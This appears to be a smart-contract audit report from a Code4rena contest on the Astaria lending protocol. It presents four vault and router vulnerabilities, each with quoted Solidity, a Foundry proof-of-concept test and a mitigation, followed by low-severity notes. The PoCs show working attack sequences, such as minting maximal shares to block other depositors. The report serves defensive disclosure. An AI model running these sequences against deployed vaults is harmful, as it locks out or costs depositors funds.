Astaria contest - rbserver's results

Lines of code

https://github.com/AstariaXYZ/astaria-gpl/blob/main/src/ERC4626-Cloned.sol#L38-L52 https://github.com/AstariaXYZ/astaria-gpl/blob/main/src/ERC4626-Cloned.sol#L129-L133 https://github.com/AstariaXYZ/astaria-gpl/blob/main/src/ERC20-Cloned.sol#L172-L183

Vulnerability details

Impact

For a public vault, calling the AstariaRouter.mint or PublicVault.mint function can eventually call the following ERC4626Cloned.mint function. Because the ERC4626Cloned.previewMint function returns 10e18 when the public vault's totalSupply() returns 0, the ERC4626Cloned.mint function would transfer 10e18 asset tokens from the first liquidity provider to the public vault and mint the specified number of shares in return. Hence, as the first liquidity provider of the public vault, a user who has 10 ether asset tokens can, for example, call the AstariaRouter.mint function with the shares and maxAmountIn inputs both being type(uint256).max to mint type(uint256).max shares while only lending 10 ether asset tokens. Afterwards, all other users' AstariaRouter.mint, PublicVault.mint, AstariaRouter.deposit, and PublicVault.deposit function calls will all revert since the public vault's total supply is already type(uint256).max, and the ERC20Cloned._mint function's execution of s._totalSupply += amount will overflow. As a result, for this public vault, the first liquidity provider is able to block other users from becoming liquidity providers and becomes the only one who can earn yield.

https://github.com/AstariaXYZ/astaria-gpl/blob/main/src/ERC4626-Cloned.sol#L38-L52

  function mint(
    uint256 shares,
    address receiver
  ) public virtual returns (uint256 assets) {
    assets = previewMint(shares); // No need to check for rounding error, previewMint rounds up.
    require(assets > minDepositAmount(), "VALUE_TOO_SMALL");
    // Need to transfer before minting or ERC777s could reenter.
    ERC20(asset()).safeTransferFrom(msg.sender, address(this), assets);

    _mint(receiver, shares);

    emit Deposit(msg.sender, receiver, assets, shares);

    afterDeposit(assets, shares);
  }

https://github.com/AstariaXYZ/astaria-gpl/blob/main/src/ERC4626-Cloned.sol#L129-L133

  function previewMint(uint256 shares) public view virtual returns (uint256) {
    uint256 supply = totalSupply(); // Saves an extra SLOAD if totalSupply is non-zero.

    return supply == 0 ? 10e18 : shares.mulDivUp(totalAssets(), supply);
  }

https://github.com/AstariaXYZ/astaria-gpl/blob/main/src/ERC20-Cloned.sol#L172-L183

  function _mint(address to, uint256 amount) internal virtual {
    ERC20Data storage s = _loadERC20Slot();
    s._totalSupply += amount;

    // Cannot overflow because the sum of all user
    // balances can't exceed the max uint256 value.
    unchecked {
      s.balanceOf[to] += amount;
    }

    emit Transfer(address(0), to, amount);
  }

Proof of Concept

Please add the following test in src\test\AstariaTest.t.sol. This test will pass to demonstrate the described scenario.

  function testFirstPublicVaultLiquidityProviderWhoHas10EtherAssetTokensBlocksOthersFromBecomingLP() public {
    uint256 amountIn = 10 ether;

    address alice = address(1);
    vm.deal(alice, amountIn);

    address bob = address(2);
    vm.deal(bob, amountIn);

    address publicVault = _createPublicVault({
      strategist: strategistOne,
      delegate: strategistTwo,
      epochLength: 14 days
    });

    vm.startPrank(alice);

    // alice owns 10 ether WETH
    WETH9.deposit{value: amountIn}();
    WETH9.transfer(address(ASTARIA_ROUTER), amountIn);

    // alice becomes publicVault's first liquidity provider by minting type(uint256).max shares
    //   while only lending 10 ether WETH.
    ASTARIA_ROUTER.mint(
      IERC4626(publicVault),
      alice,
      type(uint256).max,
      type(uint256).max
    );

    vm.stopPrank();

    vm.startPrank(bob);

    // bob also owns 10 ether WETH
    WETH9.deposit{value: amountIn}();
    WETH9.transfer(address(ASTARIA_ROUTER), amountIn);

    // However, bob's various ways of lending WETH to publicVault all fail after alice's minting
    //   so he is unable to become a liquidity provider of publicVault.
    vm.expectRevert(bytes("VALUE_TOO_SMALL"));
    ASTARIA_ROUTER.mint(
      IERC4626(publicVault),
      bob,
      amountIn,
      type(uint256).max
    );

    vm.expectRevert(bytes(""));
    ASTARIA_ROUTER.mint(
      IERC4626(publicVault),
      bob,
      type(uint256).max,
      type(uint256).max
    );

    vm.expectRevert(bytes(""));
    ASTARIA_ROUTER.deposit(
      IERC4626(publicVault),
      bob,
      amountIn,
      0
    );
    
    vm.stopPrank();
  }

Tools Used

VSCode

Recommended Mitigation Steps

The ERC4626Cloned.previewMint function can be updated to return shares instead of 10e18 when totalSupply() returns 0. Then, in the ERC4626Cloned.mint function, for the first minting, shares can be required to be more than the minimum deposit amount, and some extra shares can be minted to address(0) for preventing the share price manipulation by the first liquidity provider.

Lines of code

https://github.com/AstariaXYZ/astaria-gpl/blob/main/src/ERC4626RouterBase.sol#L41-L52 https://github.com/code-423n4/2023-01-astaria/blob/main/src/Vault.sol#L70-L73

Vulnerability details

Impact

Calling the AstariaRouter.withdraw function calls the following ERC4626RouterBase.withdraw function; however, calling ERC4626RouterBase.withdraw function for a private vault reverts because the Vault contract does not have an approve function. Directly calling the Vault.withdraw function for a private vault can also revert since the Vault contract does not have a way to set the allowance for itself to transfer the asset token, which can cause many ERC20 tokens' transferFrom function calls to revert when deducting the transfer amount from the allowance. Hence, after depositing some of the asset token in a private vault, the strategist can fail to withdraw this asset token from this private vault and lose this deposit.

https://github.com/AstariaXYZ/astaria-gpl/blob/main/src/ERC4626RouterBase.sol#L41-L52

  function withdraw(
    IERC4626 vault,
    address to,
    uint256 amount,
    uint256 maxSharesOut
  ) public payable virtual override returns (uint256 sharesOut) {

    ERC20(address(vault)).safeApprove(address(vault), amount);
    if ((sharesOut = vault.withdraw(amount, to, msg.sender)) > maxSharesOut) {
      revert MaxSharesError();
    }
  }

https://github.com/code-423n4/2023-01-astaria/blob/main/src/Vault.sol#L70-L73

  function withdraw(uint256 amount) external {
    require(msg.sender == owner());
    ERC20(asset()).safeTransferFrom(address(this), msg.sender, amount);
  }

Proof of Concept

Please add the following test in src\test\AstariaTest.t.sol. This test will pass to demonstrate the described scenario.

  function testPrivateVaultStrategistIsUnableToWithdraw() public {
    uint256 amountToLend = 50 ether;
    vm.deal(strategistOne, amountToLend);

    address privateVault = _createPrivateVault({
      strategist: strategistOne,
      delegate: strategistTwo
    });

    vm.startPrank(strategistOne);

    WETH9.deposit{value: amountToLend}();
    WETH9.approve(privateVault, amountToLend);

    // strategistOne deposits 50 ether WETH to privateVault
    Vault(privateVault).deposit(amountToLend, strategistOne);

    // calling router's withdraw function for withdrawing assets from privateVault reverts
    vm.expectRevert(bytes("APPROVE_FAILED"));
    ASTARIA_ROUTER.withdraw(
      IERC4626(privateVault),
      strategistOne,
      amountToLend,
      type(uint256).max
    );

    // directly withdrawing various asset amounts from privateVault also fails
    vm.expectRevert(bytes("TRANSFER_FROM_FAILED"));
    Vault(privateVault).withdraw(amountToLend);

    vm.expectRevert(bytes("TRANSFER_FROM_FAILED"));
    Vault(privateVault).withdraw(1);

    vm.stopPrank();
  }

Tools Used

VSCode

Recommended Mitigation Steps

https://github.com/code-423n4/2023-01-astaria/blob/main/src/Vault.sol#L72 can be updated to the following code.

    ERC20(asset()).safeTransfer(msg.sender, amount);

Lines of code

https://github.com/AstariaXYZ/astaria-gpl/blob/main/src/ERC4626RouterBase.sol#L15-L25 https://github.com/AstariaXYZ/astaria-gpl/blob/main/src/ERC4626-Cloned.sol#L38-L52 https://github.com/AstariaXYZ/astaria-gpl/blob/main/src/ERC4626-Cloned.sol#L129-L133

Vulnerability details

Impact

For a public vault, calling the AstariaRouter.mint function calls the following ERC4626RouterBase.mint function and then the ERC4626Cloned.mint function below. After user actions like borrowing and repaying after some time, the public vault's share price can become bigger than 1 so ERC4626Cloned.previewMint function's execution of shares.mulDivUp(totalAssets(), supply) would return assets that is bigger than shares; then, calling the ERC4626Cloned.mint function would try to transfer this assets from msg.sender to the public vault. When the AstariaRouter.mint function is called, this msg.sender is the AstariaRouter contract. However, because the AstariaRouter.mint function only approves the public vault for transferring shares of the asset token on behalf of the router, the ERC4626Cloned.mint function's transfer of assets of the asset token would fail due to the insufficient asset token allowance. Hence, when the public vault's share price is bigger than 1, users are unable to mint shares from the public vault using the AstariaRouter contract and cannot utilize the slippage control associated with the maxAmountIn input.

https://github.com/AstariaXYZ/astaria-gpl/blob/main/src/ERC4626RouterBase.sol#L15-L25

  function mint(
    IERC4626 vault,
    address to,
    uint256 shares,
    uint256 maxAmountIn
  ) public payable virtual override returns (uint256 amountIn) {
    ERC20(vault.asset()).safeApprove(address(vault), shares);
    if ((amountIn = vault.mint(shares, to)) > maxAmountIn) {
      revert MaxAmountError();
    }
  }

https://github.com/AstariaXYZ/astaria-gpl/blob/main/src/ERC4626-Cloned.sol#L38-L52

  function mint(
    uint256 shares,
    address receiver
  ) public virtual returns (uint256 assets) {
    assets = previewMint(shares); // No need to check for rounding error, previewMint rounds up.
    require(assets > minDepositAmount(), "VALUE_TOO_SMALL");
    // Need to transfer before minting or ERC777s could reenter.
    ERC20(asset()).safeTransferFrom(msg.sender, address(this), assets);

    _mint(receiver, shares);

    emit Deposit(msg.sender, receiver, assets, shares);

    afterDeposit(assets, shares);
  }

https://github.com/AstariaXYZ/astaria-gpl/blob/main/src/ERC4626-Cloned.sol#L129-L133

  function previewMint(uint256 shares) public view virtual returns (uint256) {
    uint256 supply = totalSupply(); // Saves an extra SLOAD if totalSupply is non-zero.

    return supply == 0 ? 10e18 : shares.mulDivUp(totalAssets(), supply);
  }

Proof of Concept

Please add the following test in src\test\AstariaTest.t.sol. This test will pass to demonstrate the described scenario.

  function testUserFailsToMintSharesFromPublicVaultUsingRouterWhenSharePriceIsBiggerThanOne() public {
    uint256 amountIn = 50 ether;
    address alice = address(1);
    address bob = address(2);
    vm.deal(bob, amountIn);

    TestNFT nft = new TestNFT(2);
    _mintNoDepositApproveRouter(address(nft), 5);
    address tokenContract = address(nft);
    uint256 tokenId = uint256(0);

    address publicVault = _createPublicVault({
      strategist: strategistOne,
      delegate: strategistTwo,
      epochLength: 14 days
    });

    // after alice deposits 50 ether WETH in publicVault, publicVault's share price becomes 1
    _lendToVault(Lender({addr: alice, amountToLend: amountIn}), publicVault);

    // the borrower borrows 10 ether WETH from publicVault
    (, ILienToken.Stack[] memory stack1) = _commitToLien({
      vault: publicVault,
      strategist: strategistOne,
      strategistPK: strategistOnePK,
      tokenContract: tokenContract,
      tokenId: tokenId,
      lienDetails: standardLienDetails,
      amount: 10 ether,
      isFirstLien: true
    });
    uint256 collateralId = tokenContract.computeId(tokenId);

    // the borrower repays for the lien after 9 days, and publicVault's share price becomes bigger than 1
    vm.warp(block.timestamp + 9 days);
    _repay(stack1, 0, 100 ether, address(this));

    vm.startPrank(bob);

    // bob owns 50 ether WETH
    WETH9.deposit{value: amountIn}();
    WETH9.transfer(address(ASTARIA_ROUTER), amountIn);

    // bob wants to mint 1 ether shares from publicVault using the router but fails
    vm.expectRevert(bytes("TRANSFER_FROM_FAILED"));
    ASTARIA_ROUTER.mint(
      IERC4626(publicVault),
      bob,
      1 ether,
      type(uint256).max
    );

    vm.stopPrank();
  }

Tools Used

VSCode

Recommended Mitigation Steps

In the ERC4626RouterBase.mint function, the public vault's previewMint function can be used to get an assetAmount for the shares input. https://github.com/AstariaXYZ/astaria-gpl/blob/main/src/ERC4626RouterBase.sol#L21 can then be updated to the following code.

    ERC20(vault.asset()).safeApprove(address(vault), assetAmount);

Lines of code

https://github.com/AstariaXYZ/astaria-gpl/blob/main/src/ERC4626-Cloned.sol#L19-L36 https://github.com/AstariaXYZ/astaria-gpl/blob/main/src/ERC4626-Cloned.sol#L38-L52

Vulnerability details

Impact

The following ERC4626Cloned.deposit function has require(shares > minDepositAmount(), "VALUE_TOO_SMALL") as the minimum deposit requirement, and the ERC4626Cloned.mint function below has require(assets > minDepositAmount(), "VALUE_TOO_SMALL") as the minimum deposit requirement. For a public vault, when the share price becomes different than 1, these functions' minimum deposit requirements are no longer the same. For example, given S is the shares input value for the ERC4626Cloned.mint function and A equals ERC4626Cloned.previewMint(S), when the share price is bigger than 1 and A equals minDepositAmount() + 1, such A will violate the ERC4626Cloned.deposit function's minimum deposit requirement but the corresponding S will not violate the ERC4626Cloned.mint function's minimum deposit requirement; in this case, the user can just ignore the ERC4626Cloned.deposit function and call ERC4626Cloned.mint function to become a liquidity provider. Thus, when the public vault's share price is different than 1, the liquidity provider can call the less restrictive function out of the two so the minimum deposit requirement enforced by one of the two functions is not effective at all; this can result in unexpected deposit amounts and degraded filtering of who can participate as a liquidity provider.

https://github.com/AstariaXYZ/astaria-gpl/blob/main/src/ERC4626-Cloned.sol#L19-L36

  function deposit(uint256 assets, address receiver)
    public
    virtual
    returns (uint256 shares)
  {
    // Check for rounding error since we round down in previewDeposit.
    require((shares = previewDeposit(assets)) != 0, "ZERO_SHARES");

    require(shares > minDepositAmount(), "VALUE_TOO_SMALL");
    // Need to transfer before minting or ERC777s could reenter.
    ERC20(asset()).safeTransferFrom(msg.sender, address(this), assets);

    _mint(receiver, shares);

    ...
  }

https://github.com/AstariaXYZ/astaria-gpl/blob/main/src/ERC4626-Cloned.sol#L38-L52

  function mint(
    uint256 shares,
    address receiver
  ) public virtual returns (uint256 assets) {
    assets = previewMint(shares); // No need to check for rounding error, previewMint rounds up.
    require(assets > minDepositAmount(), "VALUE_TOO_SMALL");
    // Need to transfer before minting or ERC777s could reenter.
    ERC20(asset()).safeTransferFrom(msg.sender, address(this), assets);

    _mint(receiver, shares);

    ...
  }

Proof of Concept

Please add the following test in src\test\AstariaTest.t.sol. This test will pass to demonstrate the described scenario.

  function testMinimumDepositRequirementForPublicVaultThatIsEnforcedByDepositFunctionCanBeBypassedByMintFunctionOfERC4626ClonedContractWhenSharePriceIsNotOne() public {
    uint256 budget = 50 ether;
    address alice = address(1);
    address bob = address(2);
    vm.deal(bob, budget);

    TestNFT nft = new TestNFT(2);
    _mintNoDepositApproveRouter(address(nft), 5);
    address tokenContract = address(nft);
    uint256 tokenId = uint256(0);

    address publicVault = _createPublicVault({
      strategist: strategistOne,
      delegate: strategistTwo,
      epochLength: 14 days
    });

    // after alice deposits 50 ether WETH in publicVault, publicVault's share price becomes 1
    _lendToVault(Lender({addr: alice, amountToLend: budget}), publicVault);

    // the borrower borrows 10 ether WETH from publicVault
    (, ILienToken.Stack[] memory stack1) = _commitToLien({
      vault: publicVault,
      strategist: strategistOne,
      strategistPK: strategistOnePK,
      tokenContract: tokenContract,
      tokenId: tokenId,
      lienDetails: standardLienDetails,
      amount: 10 ether,
      isFirstLien: true
    });
    uint256 collateralId = tokenContract.computeId(tokenId);

    // the borrower repays for the lien after 9 days, and publicVault's share price becomes bigger than 1
    vm.warp(block.timestamp + 9 days);
    _repay(stack1, 0, 100 ether, address(this));

    vm.startPrank(bob);

    // bob owns 50 ether WETH
    WETH9.deposit{value: budget}();
    WETH9.approve(publicVault, budget);

    uint256 assetsIn = 100 gwei + 1;

    // for publicVault at this moment, 99265705739 shares are equivalent to (100 gwei + 1) WETH according to previewMint function
    uint256 sharesIn = IERC4626(publicVault).convertToShares(assetsIn);
    assertEq(sharesIn, 99265705739);
    assertEq(IERC4626(publicVault).previewMint(sharesIn), assetsIn);
    
    // bob is unable to call publicVault's deposit function for depositing (100 gwei + 1) WETH
    vm.expectRevert(bytes("VALUE_TOO_SMALL"));
    IERC4626(publicVault).deposit(assetsIn, bob);

    // bob is also unable to call publicVault's deposit function for depositing a little more than (100 gwei + 1) WETH
    vm.expectRevert(bytes("VALUE_TOO_SMALL"));
    IERC4626(publicVault).deposit(assetsIn + 100, bob);

    // however, bob is able to call publicVault's mint function for minting 99265705739 shares while transferring (100 gwei + 1) WETH to publicVault
    IERC4626(publicVault).mint(sharesIn, bob);

    vm.stopPrank();
  }

Tools Used

VSCode

Recommended Mitigation Steps

The ERC4626Cloned.deposit function can be updated to directly compare the assets input to minDepositAmount() for the minimum deposit requirement while keeping the ERC4626Cloned.mint function as is. Alternatively, the ERC4626Cloned.mint function can be updated to directly compare the shares input to minDepositAmount() for the minimum deposit requirement while keeping the ERC4626Cloned.deposit function as is.

[01] SOLMATE'S SafeTransferLib LIBRARY DOES NOT CHECK FOR ERC20 TOKEN CONTRACT'S EXISTENCE

Solmate's SafeTransferLib library is used throughout the protocol. As indicated by the following comment in this library, it does not check if the corresponding ERC20 token contract exists or not, which can be problematic. For example, for a public vault, if the asset token becomes non-existent for some reason after some amounts of it are deposited by the liquidity providers, a borrower's borrowing user action will eventually call the VaultImplementation._requestLienAndIssuePayout function, which further calls ERC20(asset()).safeTransfer(receiver, payout). Even though the asset token does not exist anymore, calling ERC20(asset()).safeTransfer(receiver, payout) will not revert because Solmate's SafeTransferLib library is used. As a result, the borrower can succeed in sending her or his NFT as the collateral but fail to receive any asset token in return. As a mitigation, please consider using OpenZeppelin's SafeERC20 library, instead of Solmate's, for ERC20 tokens' safe transfers because it does check for ERC20 token contract's existence.

https://github.com/rari-capital/solmate/blob/main/src/utils/SafeTransferLib.sol#L9

/// @dev Note that none of the functions in this library check that a token has code at all! That responsibility is delegated to the caller.

https://github.com/code-423n4/2023-01-astaria/blob/main/src/VaultImplementation.sol#L379-L395

  function _requestLienAndIssuePayout(
    IAstariaRouter.Commitment calldata c,
    address receiver
  )
    internal
    returns (
      uint256 newLienId,
      ILienToken.Stack[] memory stack,
      uint256 slope,
      uint256 payout
    )
  {
    ...
    ERC20(asset()).safeTransfer(receiver, payout);
  }

[02] MALICIOUS OR COMPROMISED GUARDIAN CAN STEAL USERS' FUNDS

( Please note that the following instance is not found in https://gist.github.com/Picodes/d16459938599db69f9ad88c73a2d2990#m-1-centralization-risk-for-trusted-owners. )

The guardian is allowed to call the following AstariaRouter.fileGuardian function for updating important components used in this protocol. If becoming malicious or compromised, the guardian can call this function to change some of these components to the malicious ones. For example, by calling this function, the guardian is able to change the s.TRANSFER_PROXY to a malicious contract. Afterwards, when a user starts a user action that eventually calls the AstariaRouter.pullToken function below, the user's funds can be transferred and lost to such malicious contract. As a mitigation, please consider making the AstariaRouter.fileGuardian time-delayed, such as making it only callable by a timelock contract, for giving users more time to react when malicious usage of this function is detected.

https://github.com/code-423n4/2023-01-astaria/blob/main/src/AstariaRouter.sol#L359-L391

  function fileGuardian(File[] calldata file) external {
    RouterStorage storage s = _loadRouterSlot();
    require(msg.sender == address(s.guardian));

    uint256 i;
    for (; i < file.length; ) {
      FileType what = file[i].what;
      bytes memory data = file[i].data;
      if (what == FileType.Implementation) {
        (uint8 implType, address addr) = abi.decode(data, (uint8, address));
        if (addr == address(0)) revert InvalidFileData();
        s.implementations[implType] = addr;
      } else if (what == FileType.CollateralToken) {
        address addr = abi.decode(data, (address));
        if (addr == address(0)) revert InvalidFileData();
        s.COLLATERAL_TOKEN = ICollateralToken(addr);
      } else if (what == FileType.LienToken) {
        address addr = abi.decode(data, (address));
        if (addr == address(0)) revert InvalidFileData();
        s.LIEN_TOKEN = ILienToken(addr);
      } else if (what == FileType.TransferProxy) {
        address addr = abi.decode(data, (address));
        if (addr == address(0)) revert InvalidFileData();
        s.TRANSFER_PROXY = ITransferProxy(addr);
      } else {
        revert UnsupportedFile();
      }
      ...
    }
  }

https://github.com/code-423n4/2023-01-astaria/blob/main/src/AstariaRouter.sol#L203-L215

  function pullToken(
    address token,
    uint256 amount,
    address recipient
  ) public payable override {
    RouterStorage storage s = _loadRouterSlot();
    s.TRANSFER_PROXY.tokenTransferFrom(
      address(token),
      msg.sender,
      recipient,
      amount
    );
  }

[03] UNSAFE decimals() CALL FOR ASSET TOKENS THAT DO NOT IMPLEMENT decimals()

For a public vault, when minting shares or depositing asset tokens by the liquidity providers, the following PublicVault.minDepositAmount function is eventually called, which further calls ERC20(asset()).decimals(). According to https://eips.ethereum.org/EIPS/eip-20, decimals() is optional so it is possible that the strategist wants to create a public vault with an asset token that does not implement decimals(). However, when this occurs, calling the PublicVault.minDepositAmount function will revert, and none of such asset token can be lent to this public vault. As a mitigation, to support the usage of such asset token for a public vault, helper functions like BoringCrypto's safeDecimals can be used instead of directly calling decimals() in the PublicVault.minDepositAmount function.

https://github.com/code-423n4/2023-01-astaria/blob/main/src/PublicVault.sol#L96-L108

  function minDepositAmount()
    public
    view
    virtual
    override(ERC4626Cloned)
    returns (uint256)
  {
    if (ERC20(asset()).decimals() == uint8(18)) {
      return 100 gwei;
    } else {
      return 10**(ERC20(asset()).decimals() - 1);
    }
  }

[04] _safeMint FUNCTION CAN BE CALLED INSTEAD OF _mint FUNCTION FOR MINTING CollateralToken NFT

When the CollateralToken.onERC721Received function is called, _mint(from_, collateralId) is executed. If the from_ input, which is the address of the owner of the collateral deposited, corresponds to a contract, calling the _mint function does not check if the receiving contract supports the ERC721 protocol; if not supported, the minted CollateralToken NFT can be locked and cannot be retrieved. To make sure that the receiving contract supports the ERC721 protocol, please consider calling the _safeMint function instead of the _mint function in the CollateralToken.onERC721Received function.

https://github.com/code-423n4/2023-01-astaria/blob/main/src/CollateralToken.sol#L553-L600

  function onERC721Received(
    address, /* operator_ */
    address from_,
    uint256 tokenId_,
    bytes calldata // calldata data_
  ) external override whenNotPaused returns (bytes4) {
    ...
    uint256 collateralId = msg.sender.computeId(tokenId_);

    ...
    if (incomingAsset.tokenContract == address(0)) {
      ...

      _mint(from_, collateralId);

      ...
    } else {
      revert();
    }
  }

[05] MULTIPLE FUNCTIONS IN AstariaRouter CONTRACT HAVE payable MODIFIER

Some functions in the AstariaRouter contract, such as the followings functions, have the payable modifier. However, the purposes of these functions do not require users to provide ETH. When users accidentally send ETH when calling these functions, the users will lose these sent ETH amounts to the AstariaRouter contract. To protect users from losing ETH accidentally, please consider removing the payable modifiers from these functions.

https://github.com/code-423n4/2023-01-astaria/blob/main/src/AstariaRouter.sol#L123-L137

  function mint(
    IERC4626 vault,
    address to,
    uint256 shares,
    uint256 maxAmountIn
  )
    public
    payable
    virtual
    override
    validVault(address(vault))
    returns (uint256 amountIn)
  {
    return super.mint(vault, to, shares, maxAmountIn);
  }

https://github.com/code-423n4/2023-01-astaria/blob/main/src/AstariaRouter.sol#L139-L153

  function deposit(
    IERC4626 vault,
    address to,
    uint256 amount,
    uint256 minSharesOut
  )
    public
    payable
    virtual
    override
    validVault(address(vault))
    returns (uint256 sharesOut)
  {
    return super.deposit(vault, to, amount, minSharesOut);
  }

https://github.com/code-423n4/2023-01-astaria/blob/main/src/AstariaRouter.sol#L155-L169

  function withdraw(
    IERC4626 vault,
    address to,
    uint256 amount,
    uint256 maxSharesOut
  )
    public
    payable
    virtual
    override
    validVault(address(vault))
    returns (uint256 sharesOut)
  {
    return super.withdraw(vault, to, amount, maxSharesOut);
  }

https://github.com/code-423n4/2023-01-astaria/blob/main/src/AstariaRouter.sol#L171-L185

  function redeem(
    IERC4626 vault,
    address to,
    uint256 shares,
    uint256 minAmountOut
  )
    public
    payable
    virtual
    override
    validVault(address(vault))
    returns (uint256 amountOut)
  {
    return super.redeem(vault, to, shares, minAmountOut);
  }

[06] INCOMPLETE NATSPEC COMMENTS

NatSpec comments provide rich code documentation. The following functions are some examples that miss the @param and/or @return comments. Please consider completing the NatSpec comments for functions like these.

src\AstariaRouter.sol
  90: address _WITHDRAW_IMPL, 
  252: function __emergencyPause() external requiresAuth whenNotPaused { 
  259: function __emergencyUnpause() external requiresAuth whenPaused { 
  426: function validateCommitment(  
  552: ) public whenNotPaused returns (address) {  
  712: function _newVault( 

[07] MISSING NATSPEC COMMENTS

NatSpec comments provide rich code documentation. The following functions are some examples that miss NatSpec comments. Please consider adding NatSpec comments for functions like these.

lib\gpl\src\ERC721.sol
  69: function __initERC721(string memory _name, string memory _symbol) internal {  

src\AstariaRouter.sol
  217: function _loadRouterSlot() internal pure returns (RouterStorage storage rs) { 
  345: function __renounceGuardian() external {  

src\CollateralToken.sol
  80: function initialize(  
  145: function _loadCollateralSlot()  

src\TransferProxy.sol
  28: function tokenTransferFrom( 

src\VaultImplementation.sol
  190: function init(InitParams calldata params) external virtual {